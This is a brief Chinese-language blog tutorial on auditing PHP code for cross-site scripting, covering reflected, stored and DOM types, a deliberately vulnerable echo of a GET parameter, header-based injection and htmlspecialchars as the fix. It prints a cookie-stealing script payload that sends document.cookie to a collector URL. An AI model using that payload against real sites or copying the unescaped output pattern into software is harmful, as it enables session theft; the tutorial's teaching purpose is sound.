代碼審計——xss漏洞

XSS漏洞大致分為三種

反射型XSS漏洞

存儲型XSS漏洞

基于DOM的XSS漏洞

反射型XSS漏洞

它通過給別人發(fā)送帶有惡意腳本代碼參數(shù)的URL,當URL地址被打開時,特有的惡意代碼參數(shù)被HTML解析、執(zhí)行

它的特點是非持久化,必須用戶點擊帶有特定參數(shù)的鏈接才能引起該漏洞的觸發(fā)

變量直接輸出

<?php

echo$_GET['xss'];

?>

$_SERVER變量參數(shù)

$_SERVER['PHP_SELF'] 當前正在執(zhí)行腳本的文件名

$_SERVER['HTTP_USER_AGENT'] 獲取用戶相關信息,包括用戶瀏覽器、操作系統(tǒng)等信息。

$_SERVER['HTTP_REQUER']

$_SERVER['REQUEST_URI']當前腳本路徑,根目錄之后的目錄

http請求格式

User-Agent: ? ? ?可以通過User-Agent進行構造XSS

Referer: ? ? ? ? ? ?可以通過Reference進行構造,主要是burp suite抓包操作,進行修改即可

利用

Ttest:alert('xss');

Cookie:

<script>var i=new Image; ?i.src='http://127.0.0.1/xss.php?c="%2bdocument.cookie;"'</script>

modify headers

存儲型XSS

持久化,代碼是存儲在服務器數(shù)據(jù)庫中的,如在個人信息或發(fā)表文章等地方,加入代碼,若干沒有過濾或過濾不嚴,那么這些代碼將存儲到服務器數(shù)據(jù)庫中,用戶訪問該頁面的時候觸發(fā)代碼執(zhí)行。這種XSS比較危險,容易造成蠕蟲,竊取Cookie等。

審計SQL語句:

主要是update 、insert更新和插入語句。

內容輸入輸出沒有被嚴格過濾或者過濾不嚴!

防御

htmlspecialchars函數(shù)

預定義的字符是:

& ?——————&amp;

"———————&quot;

'———————&#039

<———————&lt;

>———————&gt;

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

友情鏈接更多精彩內容